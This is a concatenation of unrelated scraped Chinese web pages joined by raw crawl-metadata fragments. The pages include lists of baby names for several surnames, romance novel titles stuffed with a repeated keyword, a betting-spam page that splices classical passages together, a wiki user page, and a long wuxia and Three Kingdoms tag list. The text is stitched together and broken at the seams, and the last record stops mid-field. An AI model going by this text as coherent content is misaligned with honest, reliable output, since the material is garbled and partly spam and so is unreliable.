冷霜 向松 迎丝 迎梅 听双 山蝶 夜梅 含之 香之 思菱 忆文 又亦 依琴 白翠 丹云 初兰 怀曼 雅青 寄文 香巧 雁桃 寄容 以珊 代秋 惜梦 冬卉 安双 小翠 雁卉 从凝 安梦 绮露 觅儿 海秋 香天 友灵 绿竹 问芙 语海 飞莲 海白 听筠 采梦 慕蕊 巧夏 香岚 寄柔 碧蓉 绮琴 雪珊 梦寒 醉冬 巧云 含蕊 亦玉 翠巧 怀山 曼彤 沛槐 问寒 易文 惜萍 初之 代天 春海 映雁 书兰 紫雪 芷容 尔烟 谷槐 冰岚 香薇 访文 凌文 香旋 凡巧 碧蓉 白竹 夏容 傲冬 灵安 凌柏 灵珊 凝丹 元蝶 春蕾 凝莲 元彤 海亦 初晴 映冬 孤容 雨文 幼荷 迎南 巧香 雨筠 平文 靖荷 碧萱 若山 向秋 又槐 元绿 傲易 青旋 宛丝 寄南 惜珊 向薇 盼香 向山 书琴 寻桃 怀莲 涵菱 语芹 静珊 芷云 思柔 映天 安柏 飞兰 曼雁 谷翠 冰双 秋柔 又蓝 小蕾 迎夏 芷天 怀绿 觅山 痴瑶 巧蕊 听安 晓蕾 安萱 青柏 痴凝 采南 如彤 青文 半蕾 寒云 向南 凡白 绮烟 安珊 夏之 思真 妙之 小萍 幻儿 冬灵 惜芹 寄风 访烟 涵阳 怀寒 水蓝 访冬 幻露 访天 巧凡 慕山 平萱 以筠 雁露 凝冬 绿兰 盼易 尔竹 香天 水之 飞珍 尔容 元芹 代桃 冷之 芷雪 以松 听枫 夜绿 初蓝 忆安 春竹 采枫 幼菱 寻梅 书雁 怀薇 从蕾 天曼 易槐 宛亦 半双 若翠 千风 天蓉 凌青 谷芹 绮晴 傲柔 易云 采蓝 半兰 又柔 静柏 凌丝 依云 千柳 忆曼 新竹 含灵 初阳 思松 梦山 天蓝 青枫 冰夏 亦竹 若云 寒烟 盼秋 秋寒 梦槐 寒梅 雪莲 从丹 盼晴 寻冬 若雁 翠阳\n篇二:《虐心小说》\n灼眼的阳光\n梦里花落知多少(幸村BG) 缱绻乱红情若伦(迹部BG) 记忆深处爱情花开(迹部BG) 东皇之夜(迹部BG) 回首暮云远(不二BG) (应该算虐的 吧\n生命的意外(忍足BG) 消失的秘密(仁王BG)\n《网王同人—听说我曾喜欢你》 网王同人-灰{少女初之夜痛苦小说}.{少女初之夜痛苦小说}.\n绝对不说我爱你\n就在我身边\n八月樱桃{少女初之夜痛苦小说}.\n绝爱{少女初之夜痛苦小说}.\n害人不浅\n1\/2少女\n琉璃般若花\n残音","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.520z-2.com\/sucai\/568543.html","date":"2020-08-06T22:14:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737039.58\/warc\/CC-MAIN-20200806210649-20200807000649-00253.warc.gz","language":"lzh","language_score":0.5195865631,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5195865631103516, \"nan_Hani_score\": 0.31094223260879517, \"cmn_Hani_score\": 0.15878836810588837}","num_words":1475,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.33,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.545,"perplexity_score":500.0,"cluster_detection":1} +{"text":"侯徐嫣 侯桂芬 侯莉媛 侯培文 侯建梅侯丝瑶 侯钰梅 侯凌悦 侯梓瑶 侯婷垛侯梦妍 侯晓雪 侯明蓉 侯莹秀 侯志霞侯菲萍 侯凝婷 侯慕瑶 侯知茹 侯铁燕侯亚莉 侯月红 侯鲁文 侯少玲 侯雪燕侯璐瑶 侯嘉琳 侯红娥 侯莹祥 侯俊丽侯雅玲 侯燕霞 侯茹溪 侯祺雪 侯海英侯豫梅 侯美美 侯蓉本 侯承娟 侯阿琴侯怡青 侯雨倩 侯宪文 侯正芬 侯楠婷侯秀佳 侯大颖 侯艾瑛 侯紫悦 侯妍凝侯炜婷 侯娜腊 侯蓝秀 侯钊怡 侯玫秀侯静媛 侯梦花 侯秋玲 侯青文 侯卓文侯玲志 侯昱琳 侯幼红 侯书琴 侯吏娟侯财玉 侯敏霞 侯镁玲 侯增艳 侯凤艳侯菜花 侯淇悦 侯爱霞 侯翠美 侯连芳侯俊颖 侯怡文 侯君倩 侯罗芳 侯宝英侯佳人 侯清霞 侯琳芳 侯明玉 侯永红侯志琳 侯景茹 侯倩云 侯娥娣 侯希文侯媛媛 侯娉婷 侯瑞瑛 侯轩文 侯荔文侯露瑶 侯婧砚 侯志琳 侯湘怡 侯秀玲侯蓓艳 侯书玲 侯焕琼 侯俊娥 侯秀慧侯星倩 侯玲妮 侯冰悦 侯玉梅 侯文秀侯念洁 侯佳萍 侯怡恺 侯秀英 侯秀娟侯英文 侯月茹 侯理萍 侯研妍\n版权声明\n本文仅代表作者观点,不代表本站立场。\n本文系作者授权发表,未经许可,不得转载。","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.sjtuceo.org\/post\/1203.html","date":"2021-04-12T04:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038066568.16\/warc\/CC-MAIN-20210412023359-20210412053359-00402.warc.gz","language":"lzh","language_score":0.41651842,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4165184199810028, \"cmn_Hani_score\": 0.27808108925819397, \"nan_Hani_score\": 0.2465388923883438, \"wuu_Hani_score\": 0.047264523804187775}","num_words":99,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.463,"perplexity_score":500.0,"cluster_detection":1} +{"text":"秦姓女孩名字精选\n秦姓女孩名字精选\n给女宝宝起名字对于父母来说是责任,很多父母觉得名字好听,字义吉祥就是好名字。其实给女宝宝起名远远没这么简单,宝宝名字不仅要好听寓意好,更需要根据宝宝的八字五行喜忌,根据宝宝五行所喜来起名,这样才能为宝宝取到好名字。那么该如何给秦姓女宝宝起名呢?下面起名小编为家长提供一些秦姓女宝宝的好名字,供各位供参考!\n秦姓女宝宝名字分析\n1.秦敏雅\n敏:形容灵敏,聪敏,迅速,灵活,敏捷而通达事理。\n雅:形容是美好的,高尚的,不粗俗。\n名字寓意:通情达理,美丽大方。\n2.秦明锦\n明:明天,明亮,与\"暗\"相对。代表明天未来,前途一片光明。\n锦:锦:锦绣,精美鲜艳的纺织品,比喻美丽的或美好的。\n名字寓意:生活美好,前途无量。\n3.秦诗玲\n诗:文学体栽的一种,通过有节奏和韵律的语言反映生活,抒发情感:诗歌。\n玲: 形容玉碰击的声音:玲玲作响。玲玲盈耳。玲珑,形容人的灵活敏捷。\n名字寓意:博学多才,八面玲珑。\n秦姓女宝宝名字精选\n秦倩薇 秦长培 秦继景 秦如顺 秦蕊艳 秦连飞 秦英仪 秦珍笑 秦俊艺 秦如兴\n秦靖蓉 秦艺生 秦星馨 秦吉红 秦芬婕 秦清新 秦岩姗 秦丹玉 秦忠哲 秦一黎\n秦雯慧 秦瑾然 秦锦佳 秦玉桃 秦娅芸 秦真风 秦连兴 秦兰先 秦帆晶 秦叶盈\n秦莲英 秦辉妃 秦琦宜 秦中琦 秦苏梅 秦蓉琳 秦成榕 秦花妍 秦健彬 秦杏松\n秦长梅 秦虹生 秦益泉 秦钰儿 秦娅文 秦忠月 秦涛瑾 秦君卉 秦莹贤 秦敏雄\n秦玉娥 秦书佩 秦雯俐 秦梅胜 秦金雅 秦叶蔚 秦庆安 秦敬岩 秦茜雨 秦肖英\n秦忠彤 秦志泉 秦永萍 秦俊安 秦丽萱 秦静凡 秦连屏 秦诗丹 秦波茹 秦红先\n秦花美 秦玲颖 秦卫芬 秦蕾坤 秦林传 秦喜奇 秦聪媛 秦双钰 秦朝榕 秦瑜铭\n秦喜蓉 秦蓉太 秦秋华 秦平宝 秦宝银 秦秋芳 秦姐志 秦凤华 秦思蓓 秦婵婵\n秦阳盈 秦萍贵 秦力雅 秦柳柳 秦肖兰 秦世聪 秦大波 秦萍姬 秦璐珠 秦子山\n宝宝名字只有符合其命理,才会为宝宝带来益处。例如,宝宝五行缺金,那么就可以用金属性的字来给宝宝起名,这样取出来的名字才会对宝宝的成长起到帮扶的作用。","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.wanshixiao.cn\/21204.html","date":"2023-03-29T22:44:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949035.66\/warc\/CC-MAIN-20230329213541-20230330003541-00495.warc.gz","language":"lzh","language_score":0.6975252032,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6975252032279968, \"cmn_Hani_score\": 0.261307954788208, \"wuu_Hani_score\": 0.023043688386678696}","num_words":119,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.848,"perplexity_score":500.0,"cluster_detection":1} +{"text":"冰球突破料指数有望震荡向上冲击前期高点\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故\n四十二年,釐侯卒,太子共伯馀立为君。共伯弟和有宠於釐侯,多予之赂;和以其赂赂士,以袭攻共伯於墓上,共伯入釐侯羡自杀。卫人因葬之釐侯旁,谥曰共伯,而立和为卫侯,是为武公。\n後为熊毋康,毋康蚤死。熊渠卒,子熊挚红立。挚红卒,其弟弑而代立,曰熊延。熊延生熊勇。\n子慎生鲋,年五十七,为陈王涉博士,死於陈下。\n登陂阤之长阪兮,坌入曾宫之嵯峨。临曲江之隑州兮,望南山之参差。岩岩深山之谾々兮,通谷魌兮谽。汩淢噏习以永逝兮,注平皋之广衍。观众树之塕","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/ijwml.ypzsgc.com\/YTNGN32853.html","date":"2020-02-22T13:09:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145676.44\/warc\/CC-MAIN-20200222115524-20200222145524-00310.warc.gz","language":"lzh","language_score":0.4410806,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44108060002326965, \"cmn_Hani_score\": 0.20031726360321045, \"zxx_Latn_score\": 0.06493112444877625, \"nan_Hani_score\": 0.02899727039039135, \"yue_Hani_score\": 0.021374009549617767, \"und_Tang_score\": 0.01857321336865425, \"und_Hluw_score\": 0.014056620188057423, \"und_Egyp_score\": 0.013255100697278976, \"und_Cyrl_score\": 0.012841680087149143, \"jpn_Jpan_score\": 0.01273369137197733, \"wuu_Hani_score\": 0.012330128811299801, \"und_Yiii_score\": 0.010991893708705902, \"und_Grek_score\": 0.010222791694104671}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.307,"perplexity_score":500.0,"cluster_detection":1} +{"text":"維基之行也,知識為公。選賢與能,講信修睦。故人不獨文其文,不獨畫其畫;使文件有所終,檔案有所用,idea有所長,想象力貧乏者皆有所養。男有分,女有歸。知識惡其棄於地也,不必藏於己;創作惡其不出於身也,不必為己。是故壟斷而不興,盜版而不作;故版權而不閉。是謂智能大同。","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh-classical.wikipedia.org\/wiki\/%E7%94%A8%E6%88%B6:Mingwangx","date":"2020-08-09T21:04:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738573.99\/warc\/CC-MAIN-20200809192123-20200809222123-00098.warc.gz","language":"lzh","language_score":0.6580159664,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6580159664154053, \"cmn_Hani_score\": 0.2658745348453522, \"nan_Hani_score\": 0.03368392214179039, \"yue_Hani_score\": 0.027932409197092056, \"wuu_Hani_score\": 0.011786211282014847}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.502,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n郭嘉 彩環曲 劉表 穆念慈 劉備 楚留香新傳 狂沙刀法 關索 法顯 兵器譜 紅花會 心硯 建安文學 雪山飛狐 連城訣 益州之戰 瑛姑 荊州 李元霸 換日大法 吳起 倉亭之戰 飛狐外傳 徐盛 康熙 丐幫 達爾巴 鬼火十三拍 石田三成 張飛 孫尚香 全真教 孫皓 法正 江夏戰神 霍都 瀟湘子 完顏洪烈 德川家康 翔鷹劍法 慕容復 扭轉乾坤殺手劍 不死印法 鴛鴦刀 鎖子縮骨功 桃實仙 歐陽克 曹丕伐吳 北冥神功 天龍八部 藍鳳凰 龐德 八賢王 絕情谷 大地飛鷹 逍遙派 莫大先生 迎風一刀斬 戰神圖錄 楊儀 宗預 石亭之戰 刀劍雙殺七七四十九式 月英 流星鎚 閔柔 金輪法王 張大春 陸小鳳傳奇 壽春三叛 陳宮 鹿鼎記 如意八打 仙門劍訣 太清元功 刀白鳳 張三李四 白萬劍 郭芙 大意失荊州 文醜 炎陽奇功 斷絕神功 葵花寶典 飛刀,又見飛刀 男人見不得 張郃 袁承志 阿朱 馮錫范 鳩摩智 楊康 太極七截棍 阿青 瘋魔上天下地一百零七撃 定靜師太 黃皓專權 怒劍狂花 神刀斬 尼摩星 雙兒 雌雄雙股劍 飛天狐狸 諸葛恪 諸葛瞻 大唐雙龍傳 圓月彎刀 七禽身法 紫霞神功 關羽 歸辛樹 七种武器 尉遲恭 一休 余滄海 湘妃劍 失魂引 桃谷六仙 蒼穹十三劍 伏虎神拳 呂后 風萍掌 田伯光 丁春秋 白玉老虎 五行劍法 天外流星 九玄大法 永安之戰 胡昭 殷離 鰲拜 夷陵之戰 韓小瑩 左手刀法 小喬 黃蓉 鳥渡術 化骨綿掌 關銀屏 浣花洗劍錄 十住大乘功 鄭丰 丁不三 星宿派 丁不四 五毒神功 夏侯嬰 金蛇郎君 倚天劍 姑蘇慕容 吳六奇 不戒和尚 喬鋒 沖虛道長 潼關之戰 嵩山十三太保 張春華 諸葛亮南征 碎金剛乘 遊俠錄 曹純 呂蒙 林遠圖 神州奇俠 淑女劍 段正淳 趙雲 變天擊地大法 桃花島 急風十三刺 彭長老 伊達政宗 司馬懿 天鷹教 董卓 丹心術 武當派 蔣四根 黃祖 九陽真經 桃葉仙 關平 明玉功 打狗棒法 曹丕篡漢 馬謖 郭靖 文泰來 先天氣功 蔣幹 黑白子 孟獲 萬物波動心法 袁紹 全真七子 蛤蟆功 樂進 歸藏鞭 魅變術 三十六招鳥啄擊法 銀雕 劉禪 金針開穴之法 長平公主 飛伏一百零八槍 烏金血劍 梵我如一 吳應熊 賈充 飄香劍雨 沙影二十八劍 碧血劍 無崖子 李廣 九難 西蜀地形圖 捨身大法 馬大元 九字真言手印 定世鞭 許褚 崆峒派 壽春馳援 二宮之爭 禿筆翁 孫策 華山派 海大富 南匈奴 神鵰俠侶 方天畫戟 九韶定音劍 鮑三娘 血鸚鵡 逆水寒 五虎斷門刀 一指頭禪 枯木神功 古墓派 常赫志 石破天 貝海石 裘千尺 馬岱 建寧公主 天魔大法 尉遲敬德 龜息功 絕代雙驕角色列表 楊修 鷹變十三式 諸葛誕 魏延 銀龍手 劍玄錄 裂馬槍 孫策平江東之戰 牛郎一百零八棍 尋秦記 滿寵 夏侯淵 興勢之戰 白馬嘯西風 交阯之亂 大開碑手 覆雨翻雲 丞相,起風了 典韋 王語嫣 五毒教 絕代雙驕 石清 張召重 荀攸 驚魂六記 賈南風 九轉無相神功 五帝鐧 任我行 地煞拳 不碎金剛 天地明環 空城計 楊過 高平陵之變 方怡 奇功絕藝榜 燕子雙飛 彈指神通 五絕神功 孫曉 羊祜 鬼王鞭 霍去病 姜維 阿珂 韋一笑 蔣琬 邊城浪子 九轉還童 擒拿截脈法 程靈素 周瑜 倚天屠龍記 六脈神劍 滅神掌 伏魔劍法 趙志敬 徐庶 橫煉罡 凌統 木婉清 赤壁之戰 大圓滿杖法 游坦之 蕭十一郎 亡神十八掌 燕子三抄水 白自在 塌上策 尹克西 清風十三式 荀彧 龐統 移花接玉 雷霆刀法 奕劍術 玩命拳 孫堅 曹睿 狼牙 楚留香新傳之借屍還魂 蕭摩訶 金絲綿掌 孤星傳 回轉斧法三十式 呂布爭徐州 駱冰 龍吟曲 幻魔身法 合淝之戰 司馬昭弒君 射鵰三部曲 郭襄 五虎斷門刀 桃枝仙 種玉大法 鬼魅潛蹤 曹操討伐袁術之戰 空綁術 周伯通 王平 祝融 白阿繡 枯禪玄功 挾天子 耶律齊 魔心連環 碧血洗銀槍 童子功十三太保橫練 黯然銷魂掌 天地明環 魔佛十式 李典 飛鷹十三刺 丞相 武夷派 殭屍拳 史火龍 刑遁術 章進 硃砂掌 風清揚 七殺拳 蒼穹神劍 群狐 覆雨劍法 蘇荃 無想十法 夏姬 陸無雙 洪七公 護花鈴 桃根仙 情人箭 左慈 華山論劍 青龍偃月刀 裘千仞 毛玠 英雄無淚 血海飄香 岳靈珊 掩月劍法 笑傲江湖 虛竹 鐵脊蛇矛 甄姬 小龍女 魅影劍法 日月當空 大手印 霍青桐 龍門鏢局 明珠 蕭遠山 青松劍譜 花間十二支 曹叡 第六天魔王 大武俠時代 曹操迎天子 王異 岳不羣 狄雲 逍遙拆 街亭 合淝新城之戰 碧海潮生曲 少林神拳 董允 天魔擊三大散招 紫微軟劍 夏侯霸 化石神功 乾隆 嫁衣神功 破碎虚空 汪劍通 流星蝴蝶劍 一扇十八搖 郭淮 星际浪子 張三丰 布衣神相 天一掌 韋小寶 陸抗 飛燕七式 子貴母死 夏青青 于禁 福康安 的盧 豔陽刃法 海神 魯肅 馬忠 邊荒傳說 武三通 水雲袖法 楚留香新傳之蝙蝠傳奇 郭解 五嶽劍派 蔣濟 蔡文姬 呂壹專權 軟蝟甲 破精自絕大法 達摩手 金剛門 馬超 大元丹法 梅花鉤 羅憲 就地十八滾 天心蓮環 寧中則 陳到 徐天宏 丈八蛇矛 索額圖 丹青生 無塵道長 七殺手 公孫止 玄氣大法 披風杖法 屠龍刀 吳質 趙半山 封天閉地 貂蟬 徐榮 東洋神風刀法 雲行雨飄 幻影劍法 姜維北伐 龍木島主 降龍十八掌 費禕 段正明 臥龍 枯榮大師 蝶雙飛 降龍伏虎羅漢拳 鍾繇 柳絮劍法 洪承疇 七星龍王 儀琳 衛春華 十二都天神功 周芷若 易京之戰 石亭之戰 金庸 玉女素心劍法 定逸師太 李秋水 鄧艾 多情劍客無情劍 玉女媚術 李牧 泰山派 雙尖軟矛 竹節鞭 神蛛凌空銀絲渡虛 一串鞭 無念禪功 青城派 霓裳仙舞 幽灵山庄 隆中對 名劍風流 慕容博 飛龍五式 九品中正制 界橋之戰 程普 戚芳 關興 東興之戰 樊城之戰 流雲飛袖 曹休 鐵蒺藜骨朵 太虛勁 文鴦 古龍 武當七俠 胡斐 滿天花雨 大拍手 天山童姥 旋風十八矛 韋春花 神龍教 殘金缺玉 常伯志 孫權建國 滅絕師太 韓當 曹真 華山派 暴雨梨花釘 楊頂天 朱子柳 井中八法 石雙英 練師 魏滅蜀之戰 少林三渡 劍罡同流 九月鷹飛 屯田制 風鈴中的刀聲 越女劍 歸魂十八爪 碧落紅塵 迷蹤七變 太史慈 古龍作品 司馬昭 心佛掌 吸星大法 任盈盈 齊桓公 日月麗天大法 決戰前後 儀琳 孫權 飛鶯飛鷹 阿紫 連體心法 散手八撲 金蛇劍 崑崙派 玄慈 九陰真經 廖化 玄鐵重劍 空明拳 武田信玄 桃花仙 梅花鉤 天涯明月刀 石中玉 袖裡乾坤 恆山派 朱然 仇國論 七流星 孫皓暴政 倪匡 嫁衣神功 董卓討伐戰 陳近南 飛龍大九式 絕不低頭 四大惡人 張遼 阿九 劍毒梅香 合肥之戰 張無忌 曹操 挾刀揉手 慈航劍典 青龍會 范遙 紫血大法 于萬亭 奪命簪 下邳之戰 黃藥師 雙手互搏 星彩 官渡之戰 紫氣天羅 臥龍生 雙修大法 陳家洛 賭局 梁羽生 曹丕 蝴蝶穿花七十二式 天外飛仙 御盡萬法根源智經 笮融 一燈大師 黑鬼爪 周倉 大人物 南皮之戰 穿雲劍法 九陽神功 袁紫衣 摘心手 燎原百擊 伏養氣功 張苞 不死七幻 月異星邪 曹仁 公孫綠萼 三少爺的劍 林朝英 黃忠 黃蓋 青釭劍 漢中之戰 神君別傳 小昭 藏密智能書 歐陽鋒 黃皓 程英 彼岸劍訣 折花百式 西陵之戰 諸葛亮 炎元真氣 陸遜 東方不敗 夏侯惇 冰玄勁 江南七怪 陽頂天 凌波微步 嵩山派 鍾會 破蓮八著 魏滅蜀之戰 賈詡 四大名捕 道心種魔大法 峨嵋派 金丹大法 魏晉玄學 魅影身法 銅錘 誰來跟我乾杯 死眷術 上官鼎 流星鎚 辟邪劍法 司馬師 傻姑 康敏 合淝之戰 奪命十三劍 鐵騎快劍 水笙 曹洪 馬皇后 溫瑞安 玄鐵劍法 日月神教 逍遙訣 徐晃 楊成協 劉備稱帝 丁璫 甘寧 白狼山之戰 蒼穹十三式 無相神功 梅超風 武林外史 內家橫練 郭馬之亂 織女劍法 丁典 白世鏡 聖火令 楚留香傳奇 移玉大法 林平之 沉沙劍法 獨孤九劍 書劍恩仇錄 天魔心法 鳳天南 太虛錯手 曹操攻徐州之戰 吳國太 摩尼教 令狐沖 凝真九變 黃天大法 華陀針 段譽 歡樂英雄 方證大師 掃地僧 劍氣書香 長河正氣 大喬 曾柔 余魚同 天魅凝陰 君子劍 鍾會之亂 白骨爪 晉滅吳之戰 謝遜 血戰十式 鄧芝 謝煙客 譙周 起風了 玉女劍法 大旗英雄傳 奼女心法 黃鍾公 成昆 鍾靈 沐劍屏 衡山派 鴛鴦腿 菩提心功 靈犀一指 七十二路分筋錯骨手 王元姬 楚留香新傳之新月傳奇 劍客行 火併蕭十一郎 俠客行 武當掌法 無想奼女大法 夷陵之戰 小鷹爪功 張角 丁奉 周泰 諸葛亮北伐 呂玲綺 勞德諾 夢姑 魯有腳 楊逍 桃幹仙 王重陽 天魔手七十二式 蕭逸 張翼 曹爽專權 冷月寶刀 東興之戰 羅漢伏虎拳 菊花的刺 趙敏 三尸腦神丹 少林派 涼州軍劫天子 荊楚爭雄記 呂母 定閒師太 李莫愁 黃權 金錢幫 先天功 韋小寶 呂布 七傷拳 吳三桂 左冷禪 劍花煙雨江南 博望坡之戰 滿地開花八十—式 衛青","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2020-08-07T09:35:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737172.50\/warc\/CC-MAIN-20200807083754-20200807113754-00098.warc.gz","language":"lzh","language_score":0.5900535583,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900535583496094, \"nan_Hani_score\": 0.25269830226898193, \"cmn_Hani_score\": 0.12175007909536362, \"yue_Hani_score\": 0.032960839569568634}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1、琪[qí]:一种产于北方的美玉。\n2、瑛[yīng]:玉的光彩。一种似玉的美石也称为瑛。\n3、琳[lín]:一种青碧色的美玉,产于西北的昆仑山。\n4、琦[qí]:一种美玉,常用来系组佩带。\n5、琥[Hǔ]:雕成虎形的玉。古代作为一种礼器,在祭拜天地四方时以白琥朝礼西方。古代发兵使用的虎符也称为琥。\n6、琨[kūn]:一种常用于佩带的美玉。\n7、瑄[xuān]:六寸大的玉璧,古代祭天时所用。\n8、瑞[ruì]:古代玉制的信物,称为瑞玉。\n9、瑗[yuàn]:边小孔大的玉璧,一般内孔直径是边宽的两倍左右或更大,常作为佩玉。\n10、瑜[yú]:一种美玉,也用来指玉的光彩,后多用于形容美好的事物、美丽的容貌。\n11、玮[wěi]:一种珍奇的美玉。\n12、玫[méi]:一种红色的美玉。\n13、玥[yuè]:古代传说中的一种神珠。\n14、珂[kē]:一种极似玉的美石,有人说就是白色玛瑙。另外,产于南海一种珍奇的白色贝类也称为珂。\n15、珍[zhēng]:非常稀有而精美的宝玉。\n姓王,求一大气、文雅、阳光的名字?\n王笙——个人起的\n王翰琦 王毓发 王协能 王珊贵 王亚光 王宜睿 王恒来 王恩裕 王昕琪 王柔苓 王华紫 王元龙 王吟妤 王辛宣 王南亨 王柏荣 王羽仁 王慈麟 王瑶均 王汝俐 王建白 王学法 王湖政 王宏斌 王柔松 王孜祯 王政光 王世鑫 王宸俊 王伯孜 王宇维 王念成 王意凌 王幸民 王旭任 王琬慈 王坤裕 王喜伸 王芳桦 王伶瑜 王人洋 王学裕 王尹民 王虹麟 王富冰 王勋志 王芳铭 王典妏 王志星 王长扬 王苓佩 王昕希 王心菱 王庭珠 王柔蓉 王成睿 王志琇 王品一 王念孜 王琇星 王菁芸 王庭辰 王彦星\n王永定 王尹靖 王于青 王尚天 王军利 王珊竹 王民中 王惠祯 王乔梦 王南亨 王昱志 王皓纶 王辛妮 王子沛 王贤南 王欢阳 王幸民 王枝年 王梅昀 王修雅 王雯慧 王妮芬 王中青 王展行 王清琬 王鸿彦 王宏一 王伟宁 王裕豪 王添芬 王妙海 王右筠 王宝妏 王宗劭 王昆凌 王允紫 王林紫 王台怡 王登康 王平霖 王昆莲 王琦意 王友玉 王皇以 王上忠 王贤琇 王冠军 王林紫 王方芳 王虹均 王明星 王惠安 王睿卿 王嘉山 王真哲 王竹元 王蕙梦 王萱伦 王宝怡 王玲元 王伦妃 王恭冰 王之仲\n王又意 王隆辰 王方隆 王琳琴 王梦念 王希昌 王宥辛 王兰茵 王如新 王坚毓 王又亦 王名妹 王紫文 王安宣 王为映 王友仲 王山康 王铭桦 王汝依 王嘉桓 王汉秋 王昆淳 王木芝 王展山 王淳年 王亭怡 王介淑 王治音 王海琬 王琳花 王美劭 王妙纶 王雅瑄 王海瑞 王利雄 王立福 王佐星 王仁源 王诚军 王钰雅 王倩贵 王轩天 王顺旭 王亚民 王勋恭 王茜妮 王富云 王白凯 王孝扬 王爱群 王燕绿 王琇心 王伟屏 王松亚 王梅洁 王添男 王政轩 王绿心 王伊希 王音毓 王莹升 王萱毓 王中谷\n王林惠 王承杰 王喜容 王富信 王薇俐 王裕一 王宸东 王兆民 王海辉 王尧意 王兴茂 王音真 王宗琴 王克旭 王佐宇 王圣珍 王光豪 王尹心 王伸仪 王峻芬 王宪倩 王侑茂 王夫均 王辛昀 王妤军 王佳弘 王萱辛 王君云 王妙坚 王力枝 王喜宜 王宜奇 王正旺 王聿季 王尹钰 王玄雅 王凤雪 王能恭 王辛桂 王启苓 王欢州 王哲映 王凡泰 王心雯 王靖欣 王薇源 王英君 王登淳 王汝松 王尧梅 王伟谷 王少乐 王宇雄 王绿富 王盛云 王贤亦 王欣淑 王义屏 王品花 王右星 王治南 王能成 王育真\n王勋生 王良仲 王立绍 王子伸 王惟扬 王慈映 王茜一 王念恩 王尚嘉 王良妹 王亦娥 王泰旭 王长光 王宏亨 王刚妤 王亮仁 王凤琪 王皓中 王玲名 王汝义 王茂梅 王儒易 王如莹 王琇英 王佩念 王姗泉 王喜哲 王典茵 王扬圣 王婷桦 王育和 王羽江 王方群 王伊安 王燕刚 王宇萍 王芳新 王茹茂 王盈辰 王孟凌 王百友 王书盛 王信霖 王予能 王鑫帆 王乔伸 王勋乔 王伸以 王博达 王欣幸 王心梦 王佐纬 王恬琬 王尚靖 王香书 王茵雅 王纬瑶 王军爱 王宗怡 王光淑 王伶平 王秀伯 王人欣\n王哲孝 王文宸 王杰枝 王承良 王昆冰 王良香 王茜均 王意友 王世财 王辰政 王易昆 王思仲 王绍男 王东萍 王梅紫 王仰霞 王若以 王儒淑 王岳姗 王初元 王仁杰 王孝淑 王凌隆 王怡阳 王屏合 王方菁 王州萱 王孟仪 王晋仪 王之蓁 王恩毓 王又心 王意成 王振人 王南甫 王幸希 王芷茵 王秋旺 王振映 王玲易 王升辉 王吟英 王芷紫 王新启 王纯育 王劭智 王启梦 王如善 王辛忠 王映瑞 王怡毓 王骏季 王峻盈 王妏琴 王函雄 王蓉琬 王靖紫 王为夫 王丹修","id":"","dump":"CC-MAIN-2021-31","url":"http:\/\/www.nhhongxing.cn\/bbqm\/12623.html","date":"2021-08-04T23:51:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046155188.79\/warc\/CC-MAIN-20210804205700-20210804235700-00100.warc.gz","language":"lzh","language_score":0.83473593,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8347359299659729, \"nan_Hani_score\": 